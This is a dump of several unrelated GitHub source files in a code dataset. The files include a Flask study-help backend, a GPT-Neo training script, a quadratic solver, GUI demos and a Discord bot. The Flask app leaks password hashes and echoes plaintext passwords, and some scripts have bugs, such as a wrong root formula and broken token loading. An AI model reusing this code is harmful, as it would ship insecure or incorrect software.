db.Column(db.String(80))\n gender = db.Column(db.String(20))\n description = db.Column(db.String(150))\n admin = db.Column(db.Boolean)\n\n\nclass Question(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n text = db.Column(db.String(50), ForeignKey('subject.text'), nullable=False)\n asker = db.Column(db.String(50), default='')\n helper = db.Column(db.String(50), default='')\n status = db.Column(db.Boolean, default=False)\n\n\nclass Subject(db.Model):\n id = db.Column(db.Integer, primary_key=True,)\n text = db.Column(db.String(50), unique=True, nullable=False)\n\n\ndef create_question_model(tablename):\n engine = create_engine('sqlite:///stunder_second.db', echo=True)\n meta = MetaData()\n\n table = Table(\n tablename, meta,\n Column('id', Integer, primary_key=True),\n Column('user_name', String, unique=True),\n Column('ask', Boolean, default=False),\n Column('help', Boolean, default=False),\n\n )\n meta.create_all(engine)\n\n\ndef ask_question(current_user, tablename):\n ask = tablename(user_id=current_user, ask=True, help=False)\n session.add(ask)\n session.commit()\n\n\ndef token_required(f):\n @wraps(f)\n def decorated(*args, **kwargs):\n token = None\n\n if 'x-access-token' in request.headers:\n token = request.headers['x-access-token']\n if not token:\n return jsonify({'message': 'Token is missing'})\n\n try:\n data = jwt.decode(token, app.config['SECRET_KEY'])\n current_user = User.query.filter_by(\n public_id=data['public_id']).first()\n except:\n return jsonify({'message': 'Token is invalid!'}), 401\n\n return f(current_user, *args, **kwargs)\n\n return decorated\n\n\n@app.route('/user', methods=['GET'])\n@token_required\ndef get_all_users(current_user):\n if not current_user.admin:\n return jsonify({'message': 'Cannot perform that function!'})\n\n users = User.query.all()\n output = []\n for user in users:\n user_data = {}\n user_data['public_id'] = user.public_id\n user_data['name'] = user.name\n user_data['email'] = user.email\n user_data['password'] = user.password\n user_data['gender'] = user.gender\n user_data['description'] = user.description\n user_data['admin'] = user.admin\n output.append(user_data)\n\n return jsonify({'users': output})\n\n\n@app.route('/profile', methods=['GET'])\n@token_required\ndef get_one_user(current_user):\n user = User.query.filter_by(name=current_user.name).first()\n if not user:\n return jsonify({'message': 'No user found!'})\n user_data = {}\n user_data['public_id'] = user.public_id\n user_data['name'] = user.name\n user_data['email'] = user.email\n user_data['password'] = user.password\n user_data['gender'] = user.gender\n user_data['description'] = user.description\n user_data['admin'] = user.admin\n\n return jsonify({'user': user_data})\n\n\n@cross_origin()\n@app.route('/register', methods=['POST'])\ndef register():\n name = request.json['name']\n email = request.json['email']\n password = request.json['password']\n gender = request.json['gender']\n description = request.json['description']\n hashed_password = generate_password_hash(password, method='sha256')\n if len(password) < 6:\n return make_response('Rövid jelszó', 400, {'WWWW-Authenticate': 'Basic realm=\"Rövid jelszó!\"'})\n elif len(gender) < 2:\n return make_response('Kötelező nemet választani', 409, {'WWWW-Authenticate': 'Basic realm=\"Kötelező nemet választani!\"'})\n elif User.query.filter_by(name=name).first() is not None:\n return make_response('A felhasználónév már a nyivántartásban van', 409, {'WWWW-Authenticate': 'Basic realm=\"Foglalt felhasználónév!\"'})\n elif User.query.filter_by(email=email).first() is not None:\n return make_response('Az email foglalt', 409, {'WWWW-Authenticate': 'Basic realm=\"Foglalt email!\"'})\n\n user = User(public_id=str(uuid.uuid4()), name=name, email=email,\n password=hashed_password, gender=gender, description=description, admin=False)\n db.session.add(user)\n db.session.commit()\n\n return jsonify({'message': \"Felhasználó regisztrált\", 'name': name, 'password': password})\n\n\n@app.route('/user/', methods=['PUT'])\n@token_required\ndef promote_user(current_user, public_id):\n if not current_user.admin:\n return jsonify({'message': 'Cannot perform that function!'})\n user = User.query.filter_by(public_id=public_id).first()\n if not user:\n return jsonify({'message': 'No user found!'})\n user.admin = True\n db.session.commit()\n\n return jsonify({'message': 'The user has been promoted!'})\n\n\n@app.route('/user/', methods=['DELETE'])\n@token_required\ndef delete_user(current_user, public_id):\n if not current_user.admin:\n return jsonify({'message': 'Cannot perform that function!'})\n user = User.query.filter_by(public_id=public_id).first()\n if not user:\n return jsonify({'message': 'No user found!'})\n\n db.session.delete(user)\n db.session.commit()\n\n return jsonify({'message': 'The user has been deleted'})\n\n\n@app.route('/login', methods=['POST'])\n@cross_origin()\ndef login():\n auth = request.authorization\n\n if not auth or not auth.username or not auth.password:\n return make_response('Could not verify', 401, {'WWWW-Authenticate': 'Basic realm=\"Login required!\"'})\n\n user = User.query.filter_by(name=auth.username).first()\n\n if not user:\n return make_response('Could not verify', 401, {'WWWW-Authenticate': 'Basic realm=\"Bad credentials!\"'})\n\n if check_password_hash(user.password, auth.password):\n token = jwt.encode({'public_id': user.public_id, 'exp': datetime.datetime.utcnow(\n ) + datetime.timedelta(minutes=60)}, app.config['SECRET_KEY'])\n\n return jsonify({'token': token.decode('UTF-8')})\n\n return make_response('Could not verify', 401, {'WWWW-Authenticate': 'Basic realm=\"Login required!\"'})\n\n\n@app.route('/question', methods=['GET'])\n@token_required\ndef get_all_question(self):\n subjects = Subject.query.all()\n output = []\n for subject in subjects:\n subject_data = {}\n subject_data['id'] = subject.id\n subject_data['text'] = subject.text\n output.append(subject_data)\n\n return jsonify({'subjects': output})\n\n\n@app.route('/question/', methods=['GET'])\n@token_required\ndef get_one_question(current_user, question_id):\n question = Question.query.filter_by(\n id=question_id, user_id=current_user.id).first()\n if not question:\n return jsonify({'message': 'No question found!'})\n\n question_data = {}\n question_data['id'] = question.id\n question_data['text'] = question.text\n question_data['ask'] = question.ask\n question_data['help'] = question.help\n\n return jsonify(question_data)\n\n\n@app.route('/question', methods=['POST'])\n@token_required\ndef create_subject(current_user):\n data = request.get_json()\n new_question = Subject(text=data['text'])\n if Question.query.filter_by(text=data['text']).first() is not None:\n return make_response('Could not add question', 409, {'WWWW-Authenticate': 'Basic realm=\"Question already exists!\"'})\n else:\n create_question_model(data['text'])\n db.session.add(new_question)\n db.session.commit()\n return jsonify({'message': 'Question created!'})\n\n\n@app.route('/question/', methods=['DELETE'])\n@token_required\n@cross_origin()\ndef delete_question(current_user, question_id):\n question = Question.query.filter_by(\n id=question_id, user_id=current_user.id).first()\n if not current_user.admin:\n return jsonify({'message': 'Cannot perform that function!'})\n elif not question:\n return jsonify({'message': 'No todo found!'})\n db.session.delete(question)\n db.session.commit()\n\n return jsonify({'message': 'Question has deleted'})\n\n\n# Kiegészíteni,hogy a felhasználó ne lehessen a saját segítője\n@app.route('/ask/', methods=['GET'])\n@token_required\n@cross_origin()\ndef ask(current_user, question_text):\n auth = request.authorization\n engine = create_engine('sqlite:///stunder_database.db', echo=True)\n\n subject = Subject.query.filter_by(text=question_text).first()\n\n if not subject:\n return make_response('Could not add question', 409, {'WWWW-Authenticate': 'Basic realm=\"No subject found\"'})\n haveask = engine.execute(select(Question.id).where(Question.text == question_text).where(\n Question.asker == current_user.name).where(Question.helper == '')).fetchone()\n if haveask:\n return make_response('Could not add question', 409, {'WWWW-Authenticate': 'Basic realm=\"You already have a question\"'})\n quer = engine.execute(select(Question.helper).where(\n Question.text == question_text).where(Question.asker == '')).fetchone()\n if quer is None:\n engine.execute(insert(Question).values(\n text=question_text, asker=current_user.name, status=True))\n return make_response('New ask record inserted', 201, {'WWWW-Authenticate': 'Basic realm=\"New record inserted\"'})\n\n else:\n empty_asker_id = engine.execute(select(Question.id).where(\n Question.asker == '').where(Question.text == question_text)).first()\n # itt jön létre a chat\n # megkeresem azt a sort ahol üres a kérdező de van bent már segítő\n empty_asker = engine.execute(select(Question.helper).where(\n Question.asker == '').where(Question.text == question_text)).first()\n subject_data = {}\n subject_data['only_helper'] = empty_asker[0]\n subject_data['text'] = question_text\n subject_data['username'] = current_user.name\n update_statement = update(Question).where(\n Question.id == empty_asker_id[0]).values(asker=current_user.name)\n engine.execute(update_statement)\n\n return jsonify(subject_data)\n\n\n@app.route('/help/', methods=['GET'])\n@token_required\n@cross_origin()\ndef help(current_user, question_text):\n auth = request.authorization\n engine = create_engine('sqlite:///stunder_database.db', echo=True)\n\n subject = Subject.query.filter_by(text=question_text).first()\n if not subject:\n return jsonify({'message': 'No subject found!'})\n\n havehelp = engine.execute(select(Question.id).where(Question.text == question_text).where(\n Question.helper == current_user.name).where(Question.asker == '')).fetchone()\n if havehelp:\n return make_response('Could not add help', 409, {'WWWW-Authenticate': 'Basic realm=\"You already have a question\"'})\n\n quer = engine.execute(select(Question.asker).where(\n Question.text == question_text).where(Question.helper == '')).fetchone()\n if quer is None:\n engine.execute(insert(Question).values(\n text=question_text, helper=current_user.name, status=True))\n return make_response('New ask record inserted', 201, {'WWWW-Authenticate': 'Basic realm=\"New record inserted\"'})\n # először megkeresem azt az id-t amelynél üres\n else:\n empty_helper_id = engine.execute(select(Question.id).where(\n Question.helper == '').where(Question.text == question_text)).first()\n\n update_statement = update(Question).where(\n Question.id == empty_helper_id[0]).values(helper=current_user.name)\n empty_helper = engine.execute(select(Question.asker).where(\n Question.helper == '').where(Question.text == question_text)).first()\n subject_data = {}\n subject_data['only_helper'] = empty_helper[0]\n subject_data['text'] = question_text\n subject_data['username'] = current_user.name\n engine.execute(update_statement)\n\n return jsonify(subject_data)\n\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"kissdavid37/backend-for-stunder","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":13227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11015660603","text":"import sys \nimport os\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"0\"\n\nimport torch \nfrom torch.utils.tensorboard import SummaryWriter \n\nfrom transformers import GPTNeoForCausalLM, GPT2Tokenizer\nfrom transformers import TrainingArguments, Trainer \nfrom transformers.integrations import TensorBoardCallback\n\nfrom dataloader import read_mathqapython, MathQAPython\n\nname = sys.argv[1]\n\nprint('loading data and configuring tokenizer')\ndata = read_mathqapython('data/mathqapython_train.json')\n\ntokenizer = GPT2Tokenizer.from_pretrained(\"EleutherAI/gpt-neo-125M\")\ntokenizer.pad_token = tokenizer.eos_token \nmax_length = 450\n\ntrain_set = MathQAPython(data, tokenizer, max_length)\n\nprint('loading model')\nmodel = GPTNeoForCausalLM.from_pretrained(\"EleutherAI/gpt-neo-125M\")\n\nprint('initializing training')\n\ntraining_args = TrainingArguments(output_dir=\"./train_results/{}\".format(name),\n num_train_epochs=50,\n per_device_train_batch_size=16, \n logging_strategy=\"epoch\",\n save_strategy=\"epoch\",\n weight_decay=0.01,\n warmup_steps = 100, \n )\n\ndef data_collator(data):\n return {'input_ids': torch.stack([f[1] for f in data]),\n 'attention_mask': torch.stack([f[2] for f in data]), \n 'labels': torch.stack([f[1] for f in data])\n }\n\ntb_writer = SummaryWriter(log_dir=\"./train_results/{}/tb_log\".format(name))\ntb_callback = TensorBoardCallback(tb_writer)\n\nTrainer(model=model, args=training_args, train_dataset=train_set, \n data_collator=data_collator, callbacks=[tb_callback]).train()\n","repo_name":"zhangir-azerbayev/NLP4Code-Experiments","sub_path":"train_loop.py","file_name":"train_loop.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36188901266","text":"\"\"\"\nCS10300-20766\nID#700714467\nDavid Guest\nAssignment #4.1\nDue Date: 4/25/22\n\nAlgebra: solve quadratic equations\n\"\"\"\nimport math\n\n\n# uses equation 2 and returns the root\ndef getRoot2(a, b, c):\n dis = getDiscriminant(a, b, c)\n root = (-b - math.sqrt(dis)) / 2 * a\n return root\n\n\n# uses equation 1 and returns the root\ndef getRoot1(a, b, c):\n dis = getDiscriminant(a, b, c)\n root = (-b + math.sqrt(dis)) / 2 * a\n return root\n\n\n# calculates the discriminant using a, b, and c\ndef getDiscriminant(a, b, c):\n dis = (b ** 2) - (4 * a * c)\n return dis\n\n\n# uses the discriminant and determines how many roots there are going to be\ndef countRoots(a, b, c):\n dis = getDiscriminant(a, b, c)\n if dis < 0:\n return 0\n elif dis == 0:\n return 1\n else:\n return 2\n\n\n# run my methods starting here\ndef main():\n a, b, c = eval(input(f\"Enter a, b, c: \"))\n roots = countRoots(a, b, c)\n if roots == 0:\n print(f\"The equation has no real roots.\")\n return\n elif roots == 1:\n root1 = getRoot1(a, b, c)\n print(f\"The root is {root1:.5f}\")\n return\n else: # 2 roots\n root1 = getRoot1(a, b, c)\n root2 = getRoot2(a, b, c)\n print(f\"The roots are {root1:.5f} and {root2:.5f}\")\n return\n\n\nmain()\n","repo_name":"PolarCloak/CS1030-Python","sub_path":"Guest_David_Assignment_4/Guest_David_Assignment_4_1.py","file_name":"Guest_David_Assignment_4_1.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40325707094","text":"#!/usr/bin/env python\n\nfrom __future__ import absolute_import\nimport collections\n\nfrom affine import Affine\n\n\ndef convert_coordinates(geotransform, xy, to_map=True, centre=False):\n \"\"\"\n Given a tuple containing an (x, y) co-ordinate pair, convert\n the co-ordinate pair to either image/array co-ordinates or\n real world (map) co-ordinates.\n\n :param geotransform:\n A list or tuple of length 6 containing a valid GDAL style\n GeoTransform.\n\n :param xy:\n A tuple containing an (x, y) co-ordinate pair. The pair\n can be either image/array co-ordinates or map co-ordinates.\n If xy is a list of tuple co-ordinate pairs, then each (x, y)\n pair will be converted, eg [(x, y), (x, y), (x, y)].\n If image co-ordinates are input, then set to_map=True. If map\n co-ordinates are input, then set to_map=False.\n\n :param to_map:\n A boolean indicating if the conversion should be image to\n map or map to image. Default is True (image to map).\n\n :param centre:\n A boolean indicating if the returned co-ordinate pair\n should be offset by 0.5 indicating the centre of a pixel.\n Default is False.\n\n :return:\n A tuple containing an (x, y) co-ordinate pair.\n The returned type will be int if to_map=False and float\n if to_map=True (Default). If xy is a list of tuple\n co-ordinate pairs, then a list of (x, y) co-ordinate pairs\n will be returned, eg [(x, y), (x, y), (x, y)].\n \"\"\"\n # define the affine transformation\n affine = Affine.from_gdal(*geotransform)\n\n # If we have a list of tuples otherwise we'll get an int\n if isinstance(xy[0], collections.Sequence):\n points = []\n if to_map:\n if centre:\n xy = [(x + 0.5, y + 0.5) for x, y in xy]\n for point in xy:\n xy = point * affine\n points.append(xy)\n else:\n for point in xy:\n x, y = point * ~affine\n points.append((int(x), int(y)))\n return points\n else:\n if to_map:\n if centre:\n xy = tuple(v + 0.5 for v in xy)\n x, y = xy * affine\n else:\n xy = xy * ~affine\n x, y = tuple(int(v) for v in xy)\n return x, y\n","repo_name":"GeoscienceAustralia/eo-tools","sub_path":"eotools/coordinates.py","file_name":"coordinates.py","file_ext":"py","file_size_in_byte":2315,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"18262182325","text":"# No shebang line. This file is meant to be imported\n\"\"\"\nInterface with a text field, a text and a button.\n\"\"\"\n\n# standard imports\nimport logging\nimport sys\n\n# third-party imports\nfrom PySide2 import QtWidgets, QtGui\n\n# logger\n_log = logging.getLogger(__name__)\n_log_handler = logging.StreamHandler()\n_log_handler.setFormatter(\n logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\n)\n_log.addHandler(_log_handler)\n_log.setLevel(\"INFO\")\n\n# constants\n\n\nclass PopupWin(QtWidgets.QMainWindow):\n def __init__(self, *args):\n \"\"\"Initialize the QMainWindow\"\"\"\n super(PopupWin, self).__init__(*args)\n\n self.setWindowTitle(\"Pop-up Example UI\")\n self.resize(150, 50)\n\n # Create a layout to put the widgets in\n main_lay = QtWidgets.QBoxLayout(QtWidgets.QBoxLayout.TopToBottom)\n\n # Create a QWidget, assign its layout to be the one we jsut created then\n # set it as the main widget of the window.\n main_wid = QtWidgets.QWidget()\n main_wid.setLayout(main_lay)\n self.setCentralWidget(main_wid)\n\n run_btn = QtWidgets.QPushButton(\"Run\")\n main_lay.addWidget(run_btn)\n\n run_btn.pressed.connect(self.run)\n\n def run(self):\n \"\"\"Get the input field and display it on the label\"\"\"\n\n # Create a QMessageBox witha title and text\n msg_box = QtWidgets.QMessageBox()\n msg_box.setText(\"Data not saved.\")\n msg_box.setInformativeText(\n \"The current data hasn't been saved. Do you want to save it before proceeding ?\"\n )\n # Add buttons to it so we cna choose between multiple actions based on the\n # user choice.\n msg_box.setStandardButtons(\n QtWidgets.QMessageBox.Save\n | QtWidgets.QMessageBox.Ignore\n | QtWidgets.QMessageBox.Cancel\n )\n msg_box.setDefaultButton(QtWidgets.QMessageBox.Save)\n\n # Execute the QMessageBox and get its user input result.\n answer = msg_box.exec_()\n\n if answer == QtWidgets.QMessageBox.Cancel:\n return\n elif answer == QtWidgets.QMessageBox.Save:\n print(\"Data saved\")\n\n print(\"Do stuff\")\n\n\nif __name__ == \"__main__\":\n\n app = QtWidgets.QApplication(sys.argv)\n\n window = PopupWin()\n window.show()\n\n exit_code = app.exec_()\n sys.exit(exit_code)\n","repo_name":"jessicakoubi/talk_introduction_to_qt","sub_path":"src/session_02/001_popup_ui.py","file_name":"001_popup_ui.py","file_ext":"py","file_size_in_byte":2357,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"31776602449","text":"from datetime import datetime\nimport time\n\nfrom pingAPI import *\n\n\nfrom tkinter import *\nfrom tkinter import ttk\n\n\n\nclass GUI:\n\n def __init__(self, root):\n\n root.title(\"StonksBot3000\")\n\n content = ttk.Frame(root, padding=(3,3,12,12))\n frame = ttk.Frame(content, borderwidth=5, relief=\"ridge\", width=200, height=100)\n namelbl = ttk.Label(content, text=\"Name\")\n self.name = StringVar()\n name_entry = ttk.Entry(content, textvariable=self.name)\n onevar = BooleanVar()\n twovar = BooleanVar()\n threevar = BooleanVar()\n\n onevar.set(True)\n twovar.set(False)\n threevar.set(True)\n\n one = ttk.Checkbutton(content, text=\"One\", variable=onevar, onvalue=True)\n two = ttk.Checkbutton(content, text=\"Two\", variable=twovar, onvalue=True)\n three = ttk.Checkbutton(content, text=\"Three\", variable=threevar, onvalue=True)\n ok = ttk.Button(content, text=\"Okay\", command=self.calculate)\n cancel = ttk.Button(content, text=\"Cancel\")\n\n content.grid(column=0, row=0, sticky=(N, S, E, W))\n frame.grid(column=0, row=0, columnspan=3, rowspan=2, sticky=(N, S, E, W))\n namelbl.grid(column=3, row=0, columnspan=2, sticky=(N, W), padx=5)\n name_entry.grid(column=3, row=1, columnspan=2, sticky=(N,E,W), pady=5, padx=5)\n one.grid(column=0, row=3)\n two.grid(column=1, row=3)\n three.grid(column=2, row=3)\n ok.grid(column=3, row=3)\n cancel.grid(column=4, row=3)\n\n root.columnconfigure(0, weight=1)\n root.rowconfigure(0, weight=1)\n content.columnconfigure(0, weight=3)\n content.columnconfigure(1, weight=3)\n content.columnconfigure(2, weight=3)\n content.columnconfigure(3, weight=1)\n content.columnconfigure(4, weight=1)\n content.rowconfigure(1, weight=1)\n\n\n \n \n def calculate(self, *args):\n try:\n value = float(self.name.get())\n self.meters.set(int(0.3048 * value * 10000.0 + 0.5)/10000.0)\n except ValueError:\n pass\n\n\n\ndef main():\n #do not flag this as true unless you want to ping the API\n get_Historical_Data = False\n run_training_simulation = True\n display_ui = False\n if(get_Historical_Data):\n api = CoinAPI__Interface()\n api.get_historical_data_and_save_csv(\n \"BITSTAMP_SPOT_BTC_USD\",\n \"1HRS\",\n \"2016-01-01T00:00:00\" \n )\n\n #api.get_historical_data_and_save_csv(\"LTC/USD\", \"1HRS\", \"2020-01-01T00:00:00\", \"2021-10-31T23:59:00\",\"100\")\n \n\n if(display_ui):\n root = Tk()\n GUI(root)\n root.mainloop()\n print(\"Done\")\n\n\nif __name__ == '__main__':\n main()\n\n\n","repo_name":"Dev-AStatt/StonksBot3000","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29675397623","text":"def initials():\n print(\"please enter you profile as follows\")\n first_name=input('first name:')\n middle_name=input('middle name:')\n last_name=input('last name:')\n return first_name[:1].upper()+'.'+middle_name[:1].upper()+'.'+last_name[:1].upper()\ndef main():\n print('here is your initial name')\n print(initials())\nmain()\n","repo_name":"ermidebebe/Python","sub_path":"initials.py","file_name":"initials.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24723710278","text":"import cv2\nimport os\nimport json\n\nimport functions as f\n\ngun_img_folder_path = './output_folder'\n\nguns_feature_dict = {}\n\nfor filename in os.listdir(gun_img_folder_path):\n if filename.endswith(('.jpg')): # 仅处理图像文件,可以根据需要添加其他扩展名\n # 拼接完整的文件路径\n img_path = os.path.join(gun_img_folder_path, filename)\n\n # 使用OpenCV读取图像\n img = cv2.imread(img_path)\n\n feature_vector = f.get_gunimg_feature(img)\n\n guns_feature_dict[filename] = list(feature_vector)\n\nwith open('guns_feature_dict.json', 'w') as f:\n json.dump(guns_feature_dict, f)\n","repo_name":"SimpleLsd/WoG_Quiz_Cheat","sub_path":"get_img_feature.py","file_name":"get_img_feature.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39305108136","text":"import discord\r\nimport random\r\n\r\n# token.txtファイルからTOKENの読み込み\r\nwith open(\"token.txt\") as f:\r\n\tTOKEN = f.open()\r\n\r\nclient = discord.Client()\r\n\r\n@client.event\r\nasync def on_ready():\r\n print(\"logged in\\n\")\r\n\r\n@client.event\r\nasync def on_message(message):\r\n\r\n if message.author.bot:\r\n return\r\n\r\n if message.content == \"じゃんけん\":\r\n await message.channel.send(\"最初はグー、じゃんけん\")\r\n\r\n jkbot = random.choice((\"グー\", \"チョキ\", \"パー\"))\r\n draw = \"あいこ!\"\r\n wn = \"あなたの勝ち!\"\r\n lst = \"私の勝ち!\"\r\n\r\n def jankencheck(m):\r\n return (m.author == message.author) and (m.content in [\"グー\", \"チョキ\", \"パー\"])\r\n\r\n reply = await client.wait_for(\"message\", check=jankencheck)\r\n if reply.content == jkbot:\r\n judge = draw\r\n else:\r\n if reply.content == \"グー\":\r\n if jkbot == \"チョキ\":\r\n judge = wn\r\n else:\r\n judge = lst\r\n\r\n elif reply.content == \"チョキ\":\r\n if jkbot == \"パー\":\r\n judge = wn\r\n else:\r\n judge = lst\r\n\r\n elif reply.content == \"パー\":\r\n if jkbot == \"グー\":\r\n judge = wn\r\n else:\r\n judge = lst\r\n else:\r\n judge = \"Error\"\r\n\r\n await message.channel.send(judge)\r\n\r\nif __name__ == \"__main__\":\r\n client.run(TOKEN)","repo_name":"GEN3987/discordpy","sub_path":"じゃんけんメッセージ.py","file_name":"じゃんけんメッセージ.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40957889771","text":"import pika\nimport time\n\ndef callback(ch, method, properties, body):\n print(f\"Received {body}\")\n\nconnection = pika.BlockingConnection(pika.ConnectionParameters('172.23.0.2'))\nchannel = connection.channel()\nchannel.queue_declare(queue='main')\n\nchannel.basic_consume(callback,\n queue='main',\n no_ack=True)\nchannel.start_consuming()\n\nconnection.close()\n","repo_name":"Amsterdam/gob-playground","sub_path":"rabbitmq/receiver/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22340676781","text":"import json\nimport requests\n\nfrom sgd.cache import Pickle\n\n\ndef hr_size(size):\n \"\"\"Bytes to human readable:\n https://stackoverflow.com/a/43690506\"\"\"\n for unit in [\"B\", \"KiB\", \"MiB\", \"GiB\", \"TiB\"]:\n if size < 1024.0:\n break\n size /= 1024.0\n return f\"{size:.2f}{unit}\"\n\n\ndef safe_get(list_, idx, default=\"\"):\n try:\n return list_[idx]\n except IndexError:\n return default\n\n\ndef num_extract(string):\n num_chars = [ch if ch.isdigit() else ' ' for ch in string]\n return ''.join(num_chars).split()\n\n\ndef is_year(string):\n try:\n if (1850 <= int(string) <= 2050) and len(str(string)) == 4:\n return True\n return False\n except ValueError:\n return False\n\n\ndef sanitize(string, valid_chars=\". \"):\n \"\"\"Return alphanumeric input with certain non alphanumeric chars intact\"\"\"\n chars = [ch if ch.isalnum() or ch in valid_chars else \" \" for ch in string]\n # Join -> split -> join to have just a single space b/w words\n return \" \".join(\"\".join(chars).split()).lower()\n\n\ndef req_wrapper(url, time_out=3):\n timeout = requests.exceptions.Timeout\n conn_err = requests.exceptions.ConnectionError\n\n cached_session = Pickle(\"requests_session.pickle\")\n\n if cached_session.contents:\n req_session = cached_session.contents\n else:\n req_session = requests.session()\n req_session.headers = {\n \"user-agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \"\n \"(KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36\"\n }\n\n try:\n result = req_session.get(f\"https://{url}\", timeout=time_out).text\n cached_session.contents = req_session\n cached_session.save()\n return result\n except (timeout, conn_err):\n return \"\"\n\n\ndef req_api(url, key=\"meta\"):\n try:\n r = req_wrapper(url)\n # imbd wont return proper json sometimes so:\n return json.loads(r[r.find(\"{\") :].rstrip(\")\")).get(key)\n except json.decoder.JSONDecodeError:\n return dict()\n","repo_name":"ssnjr2002/stremio-gdrive","sub_path":"sgd/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","stars":87,"dataset":"github-code","pt":"37"} +{"seq_id":"30629225893","text":"from mycitybikes.mycitybikes import *\nfrom datetime import *\nimport httplib2\nimport xml.etree.ElementTree as ET\nfrom StringIO import StringIO\nfrom xml.dom.minidom import Document\nfrom elementtidy.TidyHTMLTreeBuilder import TidyHTMLTreeBuilder as TB\n\ndef dict_to_xml(dct, node_name):\n doc = Document()\n node = doc.createElement(unicode(node_name, 'utf-8'))\n for k,v in dct.items():\n if isinstance(v,dict):\n e = dict_to_xml(v, k)\n else:\n e = doc.createElement(unicode(k))\n e.appendChild(doc.createTextNode(unicode(v)))\n node.appendChild(e)\n return node\n\ndef xmlnode2dict(node):\n result = {}\n for subnode in node:\n children = subnode.getchildren()\n if children:\n result[subnode.tag] = xmlnode2dict(subnode)\n else:\n result[subnode.tag] = subnode.text\n return result\n\ndef dict_from_keys(dct, dictkeys):\n result = {}\n for newkey, oldkey in dictkeys.iteritems():\n result[newkey] = dct.get(oldkey, '')\n return result\n\ndef tofloat(value):\n try:\n return float(value)\n except:\n return float(0)","repo_name":"lacostej/mycitybikes-server","sub_path":"data-clients/mcb-python-client/import/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"73097552108","text":"# students = [{input() for j in range(int(input()))} for i in range(int(input()))]\n# known_by_everyone, known_by_someone = set.intersection(*students), set.union(*students)\n# print(len(known_by_everyone), *sorted(known_by_everyone), sep='\\n')\n# print(len(known_by_someone), *sorted(known_by_someone), sep='\\n')\n#\n\n\nl = []\nfor i in range(int(input())):\n st = set()\n for j in range(int(input())):\n st.add(input())\n l.append(st)\neverybod = list(set.intersection(*l))\nnobod = list(set.union(*l))\nprint(len(everybod), *sorted(everybod), sep='\\n')\nprint(len(nobod), *sorted(nobod, reverse=True), sep='\\n')\n","repo_name":"Coobeliues/pp2_py","sub_path":"inf_dict+set16/3757.py","file_name":"3757.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5120251799","text":"from rest_framework import serializers\nfrom .models import bloodTest\nfrom django.contrib.auth.models import User\nfrom django.conf import settings\nimport joblib\nfrom sklearn.ensemble import RandomForestClassifier\n\nclass bloodTestSerializer(serializers.ModelSerializer):\n user = serializers.HiddenField(source='user.username',\n default=serializers.CurrentUserDefault())\n\n class Meta:\n model = bloodTest\n fields = '__all__'\n\n def to_representation(self, instance):\n response = super().to_representation(instance)\n response['patient_username'] = instance.user.username\n return response\n\n def create(self, validated_data):\n user = self.context['request'].user\n validated_data['user'] = user\n obj = bloodTest.objects.create(**validated_data)\n return obj\n\n\n def predict(self):\n data = self.validated_data\n age = data.get('age')\n bmi = data.get('bmi')\n glucouse = data.get('glucouse')\n insuline = data.get('insuline')\n homa = data.get('homa')\n leptin = data.get('leptin')\n adiponcetin = data.get('adiponcetin')\n resistiin = data.get('resistiin')\n mcp = data.get('mcp')\n all_data = [age, bmi, glucouse, insuline, homa, leptin, adiponcetin, resistiin, mcp]\n\n loaded_model = joblib.load(open(\"ml_models/bloodmodelRBF\", 'rb'))\n clf = loaded_model.predict([all_data])\n result = None\n if clf[0] == 0:\n result = \"No Cancer\"\n elif clf[0] == 1:\n result = \"Cancer\"\n\n # self.instance.result = result\n\n return result\n","repo_name":"yousefelmesalamy/BookTor","sub_path":"bloodtest/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7834093197","text":"#Importation de l'arrière-plan du score\nimport os\nos.chdir(\"C:/Users/Bak/Desktop/Python/Ball/data\") \ngoodend = pygame.image.load(\"goodend.jpg\").convert()\nfenetre.blit(goodend, (0,0))\npygame.display.flip()\n#AFFICHAGE DU SCORE\n\t#Conversion du score jusque là un int en str pour pouvoir l'intégrer dans un texte\ny = str(x)\n\t#Boucle nécessaire à l'affichage du score\nif pygame.font:\n\tfont = pygame.font.Font(None, 36)\n\t\t#Texte\n\ttext = font.render(\"GAGNE!!!Vous avez désactivé \"+y+\" bombes\",1,(10,10,10))\n\t\t#Texte centré en haut de l'image\n\ttextpos = 